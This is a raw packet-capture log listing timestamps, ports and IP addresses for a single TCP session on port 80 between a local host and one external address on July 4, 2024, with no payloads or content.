Jul 4, 2024 22:20:39.014462948 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.034300089 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034363031 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.034466982 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034476995 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034482956 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034487009 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034492016 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034497976 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034554958 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034569025 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.034595013 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034596920 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.034606934 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034631968 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.034651995 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.034683943 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034694910 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034704924 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034715891 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034729004 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.034749985 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.034815073 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034854889 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.034890890 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034899950 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034905910 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034915924 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034926891 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034936905 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.034943104 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.034964085 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.034985065 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.035074949 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.035085917 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.035123110 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.035160065 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.035171986 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.035212040 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.035248995 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.035262108 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.035271883 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.035294056 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.035317898 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.035368919 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.035379887 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.035413980 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.078567982 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.078860044 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.078891039 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.078902006 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.078921080 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.078929901 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.078937054 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.078942060 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.078953028 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.078953028 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.078965902 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.078975916 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.078984976 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.078985929 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.078994036 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.078996897 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.079020977 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.079036951 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.079047918 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.079049110 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.079060078 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.079082012 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.079107046 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.079989910 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.080033064 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.080043077 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.080044985 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.080070019 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.080089092 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.080125093 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.080137014 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.080174923 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.080180883 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.080219984 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.080225945 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.080235004 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.080261946 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.080275059 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.102088928 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102315903 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102324963 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102336884 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102345943 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102358103 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102370977 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.102377892 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102390051 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102400064 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102411985 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102412939 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.102433920 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.102444887 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.102520943 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102540016 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102550030 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102567911 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.102587938 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.102658987 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102670908 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102679968 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102691889 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102705956 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.102718115 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.102741957 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.102893114 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102905035 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102916002 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102926970 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102937937 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102941990 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.102950096 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102961063 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102962017 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.102972984 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.102983952 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.102998018 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.103023052 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.103163004 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103173971 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103183985 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103195906 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103208065 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.103233099 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.103308916 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103318930 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103328943 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103352070 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.103364944 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.103451014 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103462934 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103472948 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103485107 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103497028 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.103524923 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.103749990 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103765011 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103776932 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103786945 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103796959 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103797913 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.103809118 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103820086 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103821039 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.103833914 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103846073 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103854895 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103857040 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.103867054 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103877068 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.103878975 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103893995 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.103893995 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.103920937 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.103945971 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.104248047 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.104266882 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.104278088 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.104289055 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.104295969 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.104300022 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.104312897 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.104312897 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.104325056 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.104336023 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.104341030 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.104346991 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.104356050 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.104358912 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.104371071 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.104382038 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.104386091 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.104393005 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.104404926 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.104410887 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.104430914 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.104444981 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.127578020 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.127644062 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.127654076 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.127712965 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.127723932 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.127744913 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.127794027 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.127830982 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.127841949 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.127851963 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.127862930 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.127871990 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.127877951 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.127896070 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.127914906 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.128071070 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128082037 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128092051 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128103018 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128113985 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128119946 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.128125906 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128144026 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.128161907 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.128288984 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128299952 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128338099 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.128366947 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128377914 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128387928 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128398895 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128410101 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128415108 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.128421068 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128431082 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.128446102 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.128473997 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.128647089 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128658056 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128669024 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.128704071 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.128724098 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.168764114 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.168853998 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.169008970 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.169022083 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.169034004 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.169064999 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.169101954 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.169109106 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.169151068 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.169152021 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.169164896 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.169190884 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.169220924 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.169246912 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.169426918 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.169476032 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.169478893 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.169488907 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.169521093 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.169534922 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.169557095 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.169569969 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.169603109 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.169641972 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.169653893 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.169687986 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.170191050 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.170213938 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.170224905 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.170233011 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.170269012 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.170295954 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.170310020 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.170321941 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.170348883 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.170367002 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.170432091 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.170444012 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.170480967 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.193020105 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193031073 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193041086 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193073988 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.193089962 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.193176031 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193186998 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193196058 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193208933 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193219900 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.193228960 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193245888 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193248034 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.193257093 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193281889 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.193295002 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.193449020 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193459988 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193470001 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193480968 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193492889 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.193492889 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193506002 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193516970 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193526030 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.193550110 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.193589926 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.193773031 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193783045 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193803072 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193813086 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193821907 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193840981 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.193845034 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193856955 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193866968 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.193870068 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193881989 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193891048 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.193892002 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193906069 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.193914890 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.193942070 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.194367886 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194387913 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194400072 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194410086 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194420099 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194420099 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.194431067 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194442034 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194442987 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.194453001 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194464922 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194466114 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.194473982 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.194477081 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194489956 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194499016 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.194502115 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194510937 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.194515944 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194528103 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194538116 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194541931 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.194549084 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194559097 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.194571018 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.194571018 CEST	80	49711	77.91.77.81	192.168.2.5
